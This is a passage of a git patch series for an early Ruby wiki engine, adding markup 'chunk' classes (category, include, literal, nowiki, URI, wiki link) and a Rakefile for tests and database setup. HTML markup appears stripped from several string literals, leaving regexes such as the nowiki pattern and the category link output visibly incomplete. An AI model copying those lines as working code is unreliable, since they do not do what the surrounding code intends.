lib/chunks/category.rb create mode 100644 lib/chunks/chunk.rb create mode 100644 lib/chunks/engines.rb create mode 100644 lib/chunks/include.rb create mode 100644 lib/chunks/literal.rb create mode 100644 lib/chunks/nowiki.rb create mode 100644 lib/chunks/test.rb create mode 100644 lib/chunks/uri.rb create mode 100644 lib/chunks/wiki.rb diff --git a/lib/chunks/category.rb b/lib/chunks/category.rb new file mode 100644 index 00000000..d08d8636 --- /dev/null +++ b/lib/chunks/category.rb @@ -0,0 +1,33 @@ +require 'chunks/chunk' + +# The category chunk looks for "category: news" on a line by +# itself and parses the terms after the ':' as categories. +# Other classes can search for Category chunks within +# rendered content to find out what categories this page +# should be in. +# +# Category lines can be hidden using ':category: news', for example +class Category < Chunk::Abstract + CATEGORY_PATTERN = /^(:)?category\s*:(.*)$/i + def self.pattern() CATEGORY_PATTERN end + + attr_reader :hidden, :list + +def initialize(match_data, content) + super(match_data, content) + @hidden = match_data[1] + @list = match_data[2].split(',').map { |c| c.strip } + @unmask_text = '' + if @hidden + @unmask_text = '' + else + category_urls = @list.map { |category| url(category) }.join(', ') + @unmask_text = '
            category: ' + category_urls + '
            ' + end + end + + # TODO move presentation of page metadata to controller/view + def url(category) + %{#{category}} + end +end diff --git a/lib/chunks/chunk.rb b/lib/chunks/chunk.rb new file mode 100644 index 00000000..9ba3cc04 --- /dev/null +++ b/lib/chunks/chunk.rb @@ -0,0 +1,86 @@ +require 'uri/common' + +# A chunk is a pattern of text that can be protected +# and interrogated by a renderer. Each Chunk class has a +# +pattern+ that states what sort of text it matches. +# Chunks are initalized by passing in the result of a +# match by its pattern. + +module Chunk + class Abstract + + # automatically construct the array of derivatives of Chunk::Abstract + @derivatives = [] + + class << self + attr_reader :derivatives + end + + def self::inherited( klass ) + Abstract::derivatives << klass + end + + # the class name part of the mask strings + def self.mask_string + self.to_s.delete(':').downcase + end + + # a regexp that matches all chunk_types masks + def Abstract::mask_re(chunk_types) + tmp = chunk_types.map{|klass| klass.mask_string}.join("|") + Regexp.new("chunk([0-9a-f]+n\\d+)(#{tmp})chunk") + end + + attr_reader :text, :unmask_text, :unmask_mode + + def initialize(match_data, content) + @text = match_data[0] + @content = content + @unmask_mode = :normal + end + + # Find all the chunks of the given type in content + # Each time the pattern is matched, create a new + # chunk for it, and replace the occurance of the chunk + # in this content with its mask. + def self.apply_to(content) + content.gsub!( self.pattern ) do |match| + new_chunk = self.new($~, content) + content.add_chunk(new_chunk) + new_chunk.mask + end + end + + # should contain only [a-z0-9] + def mask + @mask ||="chunk#{@id}#{self.class.mask_string}chunk" + end + + # We should not use object_id because object_id is not guarantied + # to be unique when we restart the wiki (new object ids can equal old ones + # that were restored from madeleine storage) + def id + @id ||= "#{@content.page_id}n#{@content.chunk_id}" + end + + def unmask + @content.sub!(mask, @unmask_text) + end + + def rendered? + @unmask_mode == :normal + end + + def escaped? + @unmask_mode == :escape + end + + def revert + @content.sub!(mask, @text) + # unregister + @content.delete_chunk(self) + end + + end + +end diff --git a/lib/chunks/engines.rb b/lib/chunks/engines.rb new file mode 100644 index 00000000..fe5a96a8 --- /dev/null +++ b/lib/chunks/engines.rb @@ -0,0 +1,61 @@ +$: << File.dirname(__FILE__) + "../../lib" + +require 'redcloth' +require 'bluecloth_tweaked' +require 'rdocsupport' +require 'chunks/chunk' + +# The markup engines are Chunks that call the one of RedCloth +# or RDoc to convert text. This markup occurs when the chunk is required +# to mask itself. +module Engines + class AbstractEngine < Chunk::Abstract + + # Create a new chunk for the whole content and replace it with its mask. + def self.apply_to(content) + new_chunk = self.new(content) + content.replace(new_chunk.mask) + end + + private + + # Never create engines by constructor - use apply_to instead + def initialize(content) + @content = content + end + + end + + class Textile < AbstractEngine + def mask + redcloth = RedCloth.new(@content, [:hard_breaks] + @content.options[:engine_opts]) + redcloth.filter_html = false + redcloth.no_span_caps = false + redcloth.to_html(:textile) + end + end + + class Markdown < AbstractEngine + def mask + BlueCloth.new(@content, @content.options[:engine_opts]).to_html + end + end + + class Mixed < AbstractEngine + def mask + redcloth = RedCloth.new(@content, @content.options[:engine_opts]) + redcloth.filter_html = false + redcloth.no_span_caps = false + redcloth.to_html + end + end + + class RDoc < AbstractEngine + def mask + RDocSupport::RDocFormatter.new(@content).to_html + end + end + + MAP = { :textile => Textile, :markdown => Markdown, :mixed => Mixed, :rdoc => RDoc } + MAP.default = Textile +end diff --git a/lib/chunks/include.rb b/lib/chunks/include.rb new file mode 100644 index 00000000..370093cc --- /dev/null +++ b/lib/chunks/include.rb @@ -0,0 +1,41 @@ +require 'chunks/wiki' + +# Includes the contents of another page for rendering. +# The include command looks like this: "[[!include PageName]]". +# It is a WikiReference since it refers to another page (PageName) +# and the wiki content using this command must be notified +# of changes to that page. +# If the included page could not be found, a warning is displayed. + +class Include < WikiChunk::WikiReference + + INCLUDE_PATTERN = /\[\[!include\s+(.*?)\]\]\s*/i + def self.pattern() INCLUDE_PATTERN end + + + def initialize(match_data, content) + super + @page_name = match_data[1].strip + @unmask_text = get_unmask_text_avoiding_recursion_loops + end + + private + + def get_unmask_text_avoiding_recursion_loops + if refpage then + refpage.clear_display_cache + if refpage.wiki_includes.include?(@content.page_name) + # this will break the recursion + @content.delete_chunk(self) + return "Recursive include detected; #{@page_name} --> #{@content.page_name} " + + "--> #{@page_name}\n" + else + @content.merge_chunks(refpage.display_content) + return refpage.display_content.pre_rendered + end + else + return "Could not include #{@page_name}\n" + end + end + +end diff --git a/lib/chunks/literal.rb b/lib/chunks/literal.rb new file mode 100644 index 00000000..09da4005 --- /dev/null +++ b/lib/chunks/literal.rb @@ -0,0 +1,31 @@ +require 'chunks/chunk' + +# These are basic chunks that have a pattern and can be protected. +# They are used by rendering process to prevent wiki rendering +# occuring within literal areas such as and
             blocks
            +# and within HTML tags.
            +module Literal
            +
            +  class AbstractLiteral < Chunk::Abstract
            +
            +    def initialize(match_data, content)
            +      super
            +      @unmask_text = @text
            +    end
            +
            +  end
            +
            +  # A literal chunk that protects 'code' and 'pre' tags from wiki rendering.
            +  class Pre < AbstractLiteral
            +    PRE_BLOCKS = "a|pre|code"
            +    PRE_PATTERN = Regexp.new('<('+PRE_BLOCKS+')\b[^>]*?>.*?', Regexp::MULTILINE)
            +    def self.pattern() PRE_PATTERN end
            +  end 
            +
            +  # A literal chunk that protects HTML tags from wiki rendering.
            +  class Tags < AbstractLiteral
            +    TAGS = "a|img|em|strong|div|span|table|td|th|ul|ol|li|dl|dt|dd"
            +    TAGS_PATTERN = Regexp.new('<(?:'+TAGS+')[^>]*?>', Regexp::MULTILINE) 
            +    def self.pattern() TAGS_PATTERN  end
            +  end
            +end
            diff --git a/lib/chunks/nowiki.rb b/lib/chunks/nowiki.rb
            new file mode 100644
            index 00000000..ef99ec0b
            --- /dev/null
            +++ b/lib/chunks/nowiki.rb
            @@ -0,0 +1,28 @@
            +require 'chunks/chunk'
            +
            +# This chunks allows certain parts of a wiki page to be hidden from the
            +# rest of the rendering pipeline. It should be run at the beginning
            +# of the pipeline in `wiki_content.rb`.
            +#
            +# An example use of this chunk is to markup double brackets or
            +# auto URI links:
            +#  Here are [[double brackets]] and a URI: www.uri.org
            +#
            +# The contents of the chunks will not be processed by any other chunk
            +# so the `www.uri.org` and the double brackets will appear verbatim.
            +#
            +# Author: Mark Reid 
            +# Created: 8th June 2004
            +class NoWiki < Chunk::Abstract
            +
            +  NOWIKI_PATTERN = Regexp.new('(.*?)', Regexp::MULTILINE)
            +  def self.pattern() NOWIKI_PATTERN end
            +
            +  attr_reader :plain_text
            +
            +  def initialize(match_data, content)
            +    super
            +    @plain_text = @unmask_text = match_data[1]
            +  end
            +
            +end
            diff --git a/lib/chunks/test.rb b/lib/chunks/test.rb
            new file mode 100644
            index 00000000..edf77d14
            --- /dev/null
            +++ b/lib/chunks/test.rb
            @@ -0,0 +1,18 @@
            +require 'test/unit'
            +
            +class ChunkTest < Test::Unit::TestCase
            +
            +  # Asserts a number of tests for the given type and text.
            +  def match(type, test_text, expected)
            +	pattern = type.pattern
            +    assert_match(pattern, test_text)
            +    pattern =~ test_text   # Previous assertion guarantees match
            +    chunk = type.new($~)
            +    
            +    # Test if requested parts are correct.
            +    for method_sym, value in expected do
            +      assert_respond_to(chunk, method_sym)
            +      assert_equal(value, chunk.method(method_sym).call, "Checking value of '#{method_sym}'")
            +    end
            +  end
            +end
            diff --git a/lib/chunks/uri.rb b/lib/chunks/uri.rb
            new file mode 100644
            index 00000000..1a208535
            --- /dev/null
            +++ b/lib/chunks/uri.rb
            @@ -0,0 +1,182 @@
            +require 'chunks/chunk'
            +
            +# This wiki chunk matches arbitrary URIs, using patterns from the Ruby URI modules.
            +# It parses out a variety of fields that could be used by renderers to format
            +# the links in various ways (shortening domain names, hiding email addresses)
            +# It matches email addresses and host.com.au domains without schemes (http://)
            +# but adds these on as required.
            +#
            +# The heuristic used to match a URI is designed to err on the side of caution.
            +# That is, it is more likely to not autolink a URI than it is to accidently
            +# autolink something that is not a URI. The reason behind this is it is easier
            +# to force a URI link by prefixing 'http://' to it than it is to escape and
            +# incorrectly marked up non-URI.
            +#
            +# I'm using a part of the [ISO 3166-1 Standard][iso3166] for country name suffixes.
            +# The generic names are from www.bnoack.com/data/countrycode2.html)
            +#   [iso3166]: http://geotags.com/iso3166/
            +
            +class URIChunk < Chunk::Abstract
            +  include URI::REGEXP::PATTERN
            +
            +  # this condition is to get rid of pesky warnings in tests
            +  unless defined? URIChunk::INTERNET_URI_REGEXP
            +
            +    GENERIC = 'aero|biz|com|coop|edu|gov|info|int|mil|museum|name|net|org'
            +    
            +    COUNTRY = 'ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|az|ba|bb|bd|be|' + 
            +      'bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cf|cd|cg|ch|ci|ck|cl|' + 
            +      'cm|cn|co|cr|cs|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|ee|eg|eh|er|es|et|fi|' + 
            +      'fj|fk|fm|fo|fr|fx|ga|gb|gd|ge|gf|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|' + 
            +      'hk|hm|hn|hr|ht|hu|id|ie|il|in|io|iq|ir|is|it|jm|jo|jp|ke|kg|kh|ki|km|kn|' + 
            +      'kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|' + 
            +      'mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nt|' + 
            +      'nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|' + 
            +      'sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|' + 
            +      'tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|' + 
            +      'ws|ye|yt|yu|za|zm|zr|zw'
            +    # These are needed otherwise HOST will match almost anything
            +    TLDS = "(?:#{GENERIC}|#{COUNTRY})"
            +    
            +    # Redefine USERINFO so that it must have non-zero length
            +    USERINFO = "(?:[#{UNRESERVED};:&=+$,]|#{ESCAPED})+"
            +  
            +    # unreserved_no_ending = alphanum | mark, but URI_ENDING [)!] excluded
            +    UNRESERVED_NO_ENDING = "-_.~*'(#{ALNUM}"  
            +
            +    # this ensures that query or fragment do not end with URI_ENDING
            +    # and enable us to use a much simpler self.pattern Regexp
            +
            +    # uric_no_ending = reserved | unreserved_no_ending | escaped
            +    URIC_NO_ENDING = "(?:[#{UNRESERVED_NO_ENDING}#{RESERVED}]|#{ESCAPED})"
            +    # query = *uric
            +    QUERY = "#{URIC_NO_ENDING}*"
            +    # fragment = *uric
            +    FRAGMENT = "#{URIC_NO_ENDING}*"
            +
            +    # DOMLABEL is defined in the ruby uri library, TLDS is defined above
            +    INTERNET_HOSTNAME = "(?:#{DOMLABEL}\\.)+#{TLDS}" 
            +
            +    # Correct a typo bug in ruby 1.8.x lib/uri/common.rb 
            +    PORT = '\\d*'
            +
            +    INTERNET_URI =
            +        "(?:(#{SCHEME}):/{0,2})?" +   # Optional scheme:        (\1)
            +        "(?:(#{USERINFO})@)?" +       # Optional userinfo@      (\2)
            +        "(#{INTERNET_HOSTNAME})" +    # Mandatory hostname      (\3)
            +        "(?::(#{PORT}))?" +           # Optional :port          (\4)
            +        "(#{ABS_PATH})?"  +           # Optional absolute path  (\5)
            +        "(?:\\?(#{QUERY}))?" +        # Optional ?query         (\6)
            +        "(?:\\#(#{FRAGMENT}))?"  +    # Optional #fragment      (\7)
            +        '(?=\.?(?:\s|\)|\z))'         # ends only with optional dot + space or ")" 
            +                                      # or end of the string
            +
            +    SUSPICIOUS_PRECEDING_CHARACTER = '(!|\"\:|\"|\\\'|\]\()?'  # any of !, ":, ", ', ](
            +  
            +    INTERNET_URI_REGEXP = 
            +        Regexp.new(SUSPICIOUS_PRECEDING_CHARACTER + INTERNET_URI, Regexp::EXTENDED, 'N')
            +
            +  end
            +
            +  def URIChunk.pattern
            +    INTERNET_URI_REGEXP
            +  end
            +
            +  attr_reader :user, :host, :port, :path, :query, :fragment, :link_text
            +  
            +  def self.apply_to(content)
            +    content.gsub!( self.pattern ) do |matched_text|
            +      chunk = self.new($~, content)
            +      if chunk.avoid_autolinking?
            +        # do not substitute nor register the chunk
            +        matched_text
            +      else
            +        content.add_chunk(chunk)
            +        chunk.mask
            +      end
            +    end
            +  end
            +
            +  def initialize(match_data, content)
            +    super
            +    @link_text = match_data[0]
            +    @suspicious_preceding_character = match_data[1]
            +    @original_scheme, @user, @host, @port, @path, @query, @fragment = match_data[2..-1]
            +    treat_trailing_character
            +    @unmask_text = "#{link_text}"
            +  end
            +
            +  def avoid_autolinking?
            +    not @suspicious_preceding_character.nil?
            +  end
            +
            +  def treat_trailing_character
            +    # If the last character matched by URI pattern is in ! or ), this may be part of the markup,
            +    # not a URL. We should handle it as such. It is possible to do it by a regexp, but 
            +    # much easier to do programmatically
            +    last_char = @link_text[-1..-1]
            +    if last_char == ')' or last_char == '!'
            +      @trailing_punctuation = last_char
            +      @link_text.chop!
            +      [@original_scheme, @user, @host, @port, @path, @query, @fragment].compact.last.chop!
            +    else 
            +      @trailing_punctuation = nil
            +    end
            +  end
            +
            +  def scheme
            +    @original_scheme or (@user ? 'mailto' : 'http')
            +  end
            +
            +  def scheme_delimiter
            +    scheme == 'mailto' ? ':' : '://'
            +  end
            +
            +  def user_delimiter
            +     '@' unless @user.nil?
            +  end
            +
            +  def port_delimiter
            +     ':' unless @port.nil?
            +  end
            +
            +  def query_delimiter
            +     '?' unless @query.nil?
            +  end
            +
            +  def uri
            +    [scheme, scheme_delimiter, user, user_delimiter, host, port_delimiter, port, path, 
            +      query_delimiter, query].compact.join
            +  end
            +
            +end
            +
            +# uri with mandatory scheme but less restrictive hostname, like
            +# http://localhost:2500/blah.html
            +class LocalURIChunk < URIChunk
            +
            +  unless defined? LocalURIChunk::LOCAL_URI_REGEXP
            +    # hostname can be just a simple word like 'localhost'
            +    ANY_HOSTNAME = "(?:#{DOMLABEL}\\.)*#{TOPLABEL}\\.?"
            +    
            +    # The basic URI expression as a string
            +    # Scheme and hostname are mandatory
            +    LOCAL_URI =
            +        "(?:(#{SCHEME})://)+" +       # Mandatory scheme://     (\1)
            +        "(?:(#{USERINFO})@)?" +       # Optional userinfo@      (\2)
            +        "(#{ANY_HOSTNAME})" +         # Mandatory hostname      (\3)
            +        "(?::(#{PORT}))?" +           # Optional :port          (\4)
            +        "(#{ABS_PATH})?"  +           # Optional absolute path  (\5)
            +        "(?:\\?(#{QUERY}))?" +        # Optional ?query         (\6)
            +        "(?:\\#(#{FRAGMENT}))?" +     # Optional #fragment      (\7)
            +        '(?=\.?(?:\s|\)|\z))'         # ends only with optional dot + space or ")" 
            +                                      # or end of the string
            +  
            +    LOCAL_URI_REGEXP = Regexp.new(SUSPICIOUS_PRECEDING_CHARACTER + LOCAL_URI, Regexp::EXTENDED, 'N')
            +  end
            +
            +  def LocalURIChunk.pattern
            +    LOCAL_URI_REGEXP
            +  end
            +
            +end
            diff --git a/lib/chunks/wiki.rb b/lib/chunks/wiki.rb
            new file mode 100644
            index 00000000..840f644a
            --- /dev/null
            +++ b/lib/chunks/wiki.rb
            @@ -0,0 +1,141 @@
            +require 'wiki_words'
            +require 'chunks/chunk'
            +require 'chunks/wiki'
            +require 'cgi'
            +
            +# Contains all the methods for finding and replacing wiki related links.
            +module WikiChunk
            +  include Chunk
            +
            +  # A wiki reference is the top-level class for anything that refers to
            +  # another wiki page.
            +  class WikiReference < Chunk::Abstract
            +
            +    # Name of the referenced page
            +    attr_reader :page_name
            +    
            +    # the referenced page
            +    def refpage
            +      @content.web.pages[@page_name]
            +    end
            +  
            +  end
            +
            +  # A wiki link is the top-level class for links that refers to
            +  # another wiki page.
            +  class WikiLink < WikiReference
            + 
            +    attr_reader :link_text, :link_type
            +
            +    def initialize(match_data, content)
            +      super
            +      @link_type = :show
            +    end
            +
            +    def self.apply_to(content)
            +      content.gsub!( self.pattern ) do |matched_text|
            +        chunk = self.new($~, content)
            +        if chunk.textile_url?
            +          # do not substitute
            +          matched_text
            +        else
            +          content.add_chunk(chunk)
            +          chunk.mask
            +        end
            +      end
            +    end
            +
            +    # the referenced page
            +    def refpage
            +      @content.web.pages[@page_name]
            +    end
            +
            +    def textile_url?
            +      not @textile_link_suffix.nil?
            +    end
            +
            +  end
            +
            +  # This chunk matches a WikiWord. WikiWords can be escaped
            +  # by prepending a '\'. When this is the case, the +escaped_text+
            +  # method will return the WikiWord instead of the usual +nil+.
            +  # The +page_name+ method returns the matched WikiWord.
            +  class Word < WikiLink
            +
            +    attr_reader :escaped_text
            +    
            +    unless defined? WIKI_WORD
            +      WIKI_WORD = Regexp.new('(":)?(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, "utf-8")
            +    end
            +
            +    def self.pattern
            +      WIKI_WORD
            +    end
            +
            +    def initialize(match_data, content)
            +      super
            +      @textile_link_suffix, @escape, @page_name = match_data[1..3]
            +      if @escape 
            +        @unmask_mode = :escape
            +        @escaped_text = @page_name
            +      else
            +        @escaped_text = nil
            +      end
            +      @link_text = WikiWords.separate(@page_name)
            +      @unmask_text = (@escaped_text || @content.page_link(@page_name, @link_text, @link_type))
            +    end
            +
            +  end
            +
            +  # This chunk handles [[bracketted wiki words]] and 
            +  # [[AliasedWords|aliased wiki words]]. The first part of an
            +  # aliased wiki word must be a WikiWord. If the WikiWord
            +  # is aliased, the +link_text+ field will contain the
            +  # alias, otherwise +link_text+ will contain the entire
            +  # contents within the double brackets.
            +  #
            +  # NOTE: This chunk must be tested before WikiWord since
            +  #       a WikiWords can be a substring of a WikiLink. 
            +  class Link < WikiLink
            +    
            +    unless defined? WIKI_LINK
            +      WIKI_LINK = /(":)?\[\[\s*([^\]\s][^\]]+?)\s*\]\]/
            +      LINK_TYPE_SEPARATION = Regexp.new('^(.+):((file)|(pic))$', 0, 'utf-8')
            +      ALIAS_SEPARATION = Regexp.new('^(.+)\|(.+)$', 0, 'utf-8')
            +    end    
            +        
            +    def self.pattern() WIKI_LINK end
            +
            +    def initialize(match_data, content)
            +      super
            +      @textile_link_suffix, @page_name = match_data[1..2]
            +      @link_text = @page_name
            +      separate_link_type
            +      separate_alias
            +      @unmask_text = @content.page_link(@page_name, @link_text, @link_type)
            +    end
            +
            +    private
            +
            +    # if link wihin the brackets has a form of [[filename:file]] or [[filename:pic]], 
            +    # this means a link to a picture or a file
            +    def separate_link_type
            +      link_type_match = LINK_TYPE_SEPARATION.match(@page_name)
            +      if link_type_match
            +        @link_text = @page_name = link_type_match[1]
            +        @link_type = link_type_match[2..3].compact[0].to_sym
            +      end
            +    end
            +
            +    # link text may be different from page name. this will look like [[actual page|link text]]
            +    def separate_alias
            +      alias_match = ALIAS_SEPARATION.match(@page_name)
            +      if alias_match
            +        @page_name, @link_text = alias_match[1..2]
            +      end
            +      # note that [[filename|link text:file]] is also supported
            +    end  
            +  
            +  end
            +  
            +end
            
            From 26c046cdfa1d62151c4fe271590b37f97037ec0a Mon Sep 17 00:00:00 2001
            From: Rick Okin 
            Date: Tue, 9 Aug 2005 02:20:28 +0000
            Subject: [PATCH 329/529] move to AR
            
            ---
             Rakefile                                 | 202 +++++++++++++++
             app/controllers/admin_controller.rb      |   2 +-
             app/controllers/application.rb           |   6 +-
             app/controllers/file_controller.rb       |   2 +-
             app/controllers/wiki_controller.rb       |   7 +-
             app/models/page.rb                       | 125 ++++++++-
             app/models/revision.rb                   | 121 ++++++++-
             app/models/system.rb                     |   4 +
             app/models/web.rb                        | 174 ++++++++++++-
             app/views/wiki/list.rhtml                |   2 +-
             app/views/wiki/page.rhtml                |   2 +-
             config/database.yml                      |  81 ++++--
             config/environment.rb                    |   2 +
             config/environments/development.rb       |   1 -
             config/environments/test.rb              |  13 +-
             db/development_structure.sql             |  40 +++
             db/pages.erbsql                          |   7 +-
             db/revisions.erbsql                      |  15 +-
             db/schema.postgre.sql                    |  43 ++++
             db/system.erbsql                         |   4 +
             db/webs.erbsql                           |  14 +-
             lib/author.rb                            |  18 ++
             lib/chunks/test.rb                       |   2 +-
             lib/db_structure.rb                      |  14 +
             lib/file_yard.rb                         |  59 +++++
             lib/page_set.rb                          |  89 +++++++
             lib/wiki.rb                              |  96 +++++++
             lib/wiki_content.rb                      | 206 +++++++++++++++
             lib/wiki_words.rb                        |  23 ++
             rakefile.rb                              | 134 ----------
             script/console                           |  23 ++
             script/create_db                         |   2 +-
             script/server                            | 100 ++------
             test/fixtures/pages.yml                  |  56 +++-
             test/fixtures/revisions.yml              |  84 +++++-
             test/fixtures/system.yml                 |   2 +
             test/fixtures/webs.yml                   |  13 +-
             test/functional/admin_controller_test.rb | 113 ++++----
             test/functional/application_test.rb      |  23 +-
             test/functional/file_controller_test.rb  |  39 +--
             test/functional/routes_test.rb           |   2 +-
             test/functional/wiki_controller_test.rb  | 242 ++++++++----------
             test/test_helper.rb                      |  90 ++++++-
             test/unit/diff_test.rb                   |   4 +-
             test/unit/file_yard_test.rb              |   4 +-
             test/unit/page_test.rb                   |  77 +++++-
             test/unit/redcloth_for_tex_test.rb       |   4 +-
             test/unit/revision_test.rb               | 312 ++++++++++++++++++++++-
             test/unit/uri_test.rb                    |   2 +-
             test/unit/web_test.rb                    | 157 +++++++++++-
             test/unit/wiki_words_test.rb             |   4 +-
             51 files changed, 2345 insertions(+), 516 deletions(-)
             create mode 100644 Rakefile
             create mode 100644 app/models/system.rb
             create mode 100644 db/development_structure.sql
             create mode 100644 db/schema.postgre.sql
             create mode 100644 db/system.erbsql
             create mode 100644 lib/author.rb
             create mode 100644 lib/file_yard.rb
             create mode 100644 lib/page_set.rb
             create mode 100644 lib/wiki.rb
             create mode 100644 lib/wiki_content.rb
             create mode 100644 lib/wiki_words.rb
             create mode 100644 script/console
             create mode 100644 test/fixtures/system.yml
            
            diff --git a/Rakefile b/Rakefile
            new file mode 100644
            index 00000000..5407e140
            --- /dev/null
            +++ b/Rakefile
            @@ -0,0 +1,202 @@
            +require 'rake'
            +require 'rake/testtask'
            +require 'rake/rdoctask'
            +
            +$VERBOSE = nil
            +TEST_CHANGES_SINCE = Time.now - 600
            +
            +desc "Run all the tests on a fresh test database"
            +task :default => [ :test_units, :test_functional ]
            +
            +
            +desc 'Require application environment.'
            +task :environment do
            +  unless defined? RAILS_ROOT
            +    require File.dirname(__FILE__) + '/config/environment'
            +  end
            +end
            +
            +desc "Generate API documentation, show coding stats"
            +task :doc => [ :appdoc, :stats ]
            +
            +
            +# Look up tests for recently modified sources.
            +def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago)
            +  FileList[source_pattern].map do |path|
            +    if File.mtime(path) > touched_since
            +      test = "#{test_path}/#{File.basename(path, '.rb')}_test.rb"
            +      test if File.exists?(test)
            +    end
            +  end.compact
            +end
            +
            +desc 'Test recent changes.'
            +Rake::TestTask.new(:recent => [ :clone_structure_to_test ]) do |t|
            +  since = TEST_CHANGES_SINCE
            +  touched = FileList['test/**/*_test.rb'].select { |path| File.mtime(path) > since } +
            +    recent_tests('app/models/*.rb', 'test/unit', since) +
            +    recent_tests('app/controllers/*.rb', 'test/functional', since)
            +
            +  t.libs << 'test'
            +  t.verbose = true
            +  t.test_files = touched.uniq
            +end
            +task :test_recent => [ :clone_structure_to_test ]
            +
            +desc "Run the unit tests in test/unit"
            +Rake::TestTask.new("test_units") { |t|
            +  t.libs << "test"
            +  t.pattern = 'test/unit/**/*_test.rb'
            +  t.verbose = true
            +}
            +task :test_units => [ :clone_structure_to_test ]
            +
            +desc "Run the functional tests in test/functional"
            +Rake::TestTask.new("test_functional") { |t|
            +  t.libs << "test"
            +  t.pattern = 'test/functional/**/*_test.rb'
            +  t.verbose = true
            +}
            +task :test_functional => [ :clone_structure_to_test ]
            +
            +desc "Generate documentation for the application"
            +Rake::RDocTask.new("appdoc") { |rdoc|
            +  rdoc.rdoc_dir = 'doc/app'
            +  rdoc.title    = "Rails Application Documentation"
            +  rdoc.options << '--line-numbers --inline-source'
            +  rdoc.rdoc_files.include('doc/README_FOR_APP')
            +  rdoc.rdoc_files.include('app/**/*.rb')
            +}
            +
            +desc "Generate documentation for the Rails framework"
            +Rake::RDocTask.new("apidoc") { |rdoc|
            +  rdoc.rdoc_dir = 'doc/api'
            +  rdoc.template = "#{ENV['template']}.rb" if ENV['template']
            +  rdoc.title    = "Rails Framework Documentation"
            +  rdoc.options << '--line-numbers --inline-source'
            +  rdoc.rdoc_files.include('README')
            +  rdoc.rdoc_files.include('CHANGELOG')
            +  rdoc.rdoc_files.include('vendor/rails/railties/CHANGELOG')
            +  rdoc.rdoc_files.include('vendor/rails/railties/MIT-LICENSE')
            +  rdoc.rdoc_files.include('vendor/rails/activerecord/README')
            +  rdoc.rdoc_files.include('vendor/rails/activerecord/CHANGELOG')
            +  rdoc.rdoc_files.include('vendor/rails/activerecord/lib/active_record/**/*.rb')
            +  rdoc.rdoc_files.exclude('vendor/rails/activerecord/lib/active_record/vendor/*')
            +  rdoc.rdoc_files.include('vendor/rails/actionpack/README')
            +  rdoc.rdoc_files.include('vendor/rails/actionpack/CHANGELOG')
            +  rdoc.rdoc_files.include('vendor/rails/actionpack/lib/action_controller/**/*.rb')
            +  rdoc.rdoc_files.include('vendor/rails/actionpack/lib/action_view/**/*.rb')
            +  rdoc.rdoc_files.include('vendor/rails/actionmailer/README')
            +  rdoc.rdoc_files.include('vendor/rails/actionmailer/CHANGELOG')
            +  rdoc.rdoc_files.include('vendor/rails/actionmailer/lib/action_mailer/base.rb')
            +  rdoc.rdoc_files.include('vendor/rails/actionwebservice/README')
            +  rdoc.rdoc_files.include('vendor/rails/actionwebservice/CHANGELOG')
            +  rdoc.rdoc_files.include('vendor/rails/actionwebservice/lib/action_web_service.rb')
            +  rdoc.rdoc_files.include('vendor/rails/actionwebservice/lib/action_web_service/*.rb')
            +  rdoc.rdoc_files.include('vendor/rails/actionwebservice/lib/action_web_service/api/*.rb')
            +  rdoc.rdoc_files.include('vendor/rails/actionwebservice/lib/action_web_service/client/*.rb')
            +  rdoc.rdoc_files.include('vendor/rails/actionwebservice/lib/action_web_service/container/*.rb')
            +  rdoc.rdoc_files.include('vendor/rails/actionwebservice/lib/action_web_service/dispatcher/*.rb')
            +  rdoc.rdoc_files.include('vendor/rails/actionwebservice/lib/action_web_service/protocol/*.rb')
            +  rdoc.rdoc_files.include('vendor/rails/actionwebservice/lib/action_web_service/support/*.rb')
            +  rdoc.rdoc_files.include('vendor/rails/activesupport/README')
            +  rdoc.rdoc_files.include('vendor/rails/activesupport/CHANGELOG')
            +  rdoc.rdoc_files.include('vendor/rails/activesupport/lib/active_support/**/*.rb')
            +}
            +
            +desc "Report code statistics (KLOCs, etc) from the application"
            +task :stats => [ :environment ] do
            +  require 'code_statistics'
            +  CodeStatistics.new(
            +    ["Helpers", "app/helpers"], 
            +    ["Controllers", "app/controllers"], 
            +    ["APIs", "app/apis"],
            +    ["Components", "components"],
            +    ["Functionals", "test/functional"],
            +    ["Models", "app/models"],
            +    ["Units", "test/unit"]
            +  ).to_s
            +end
            +
            +desc "Recreate the test databases from the development structure"
            +task :clone_structure_to_test => [ :db_structure_dump, :purge_test_database ] do
            +  abcs = ActiveRecord::Base.configurations
            +  case abcs["test"]["adapter"]
            +    when  "mysql"
            +      ActiveRecord::Base.establish_connection(:test)
            +      ActiveRecord::Base.connection.execute('SET foreign_key_checks = 0')
            +      IO.readlines("db/#{RAILS_ENV}_structure.sql").join.split("\n\n").each do |table|
            +        ActiveRecord::Base.connection.execute(table)
            +      end
            +    when "postgresql"
            +      ENV['PGHOST']     = abcs["test"]["host"] if abcs["test"]["host"]
            +      ENV['PGPORT']     = abcs["test"]["port"].to_s if abcs["test"]["port"]
            +      ENV['PGPASSWORD'] = abcs["test"]["password"].to_s if abcs["test"]["password"]
            +      `psql -U "#{abcs["test"]["username"]}" -f db/#{RAILS_ENV}_structure.sql #{abcs["test"]["database"]}`
            +    when "sqlite", "sqlite3"
            +      `#{abcs[RAILS_ENV]["adapter"]} #{abcs["test"]["dbfile"]} < db/#{RAILS_ENV}_structure.sql`
            +    when "sqlserver"
            +      `osql -E -S #{abcs["test"]["host"]} -d #{abcs["test"]["database"]} -i db\\#{RAILS_ENV}_structure.sql`
            +    else 
            +      raise "Unknown database adapter '#{abcs["test"]["adapter"]}'"
            +  end
            +end
            +
            +desc "Dump the database structure to a SQL file"
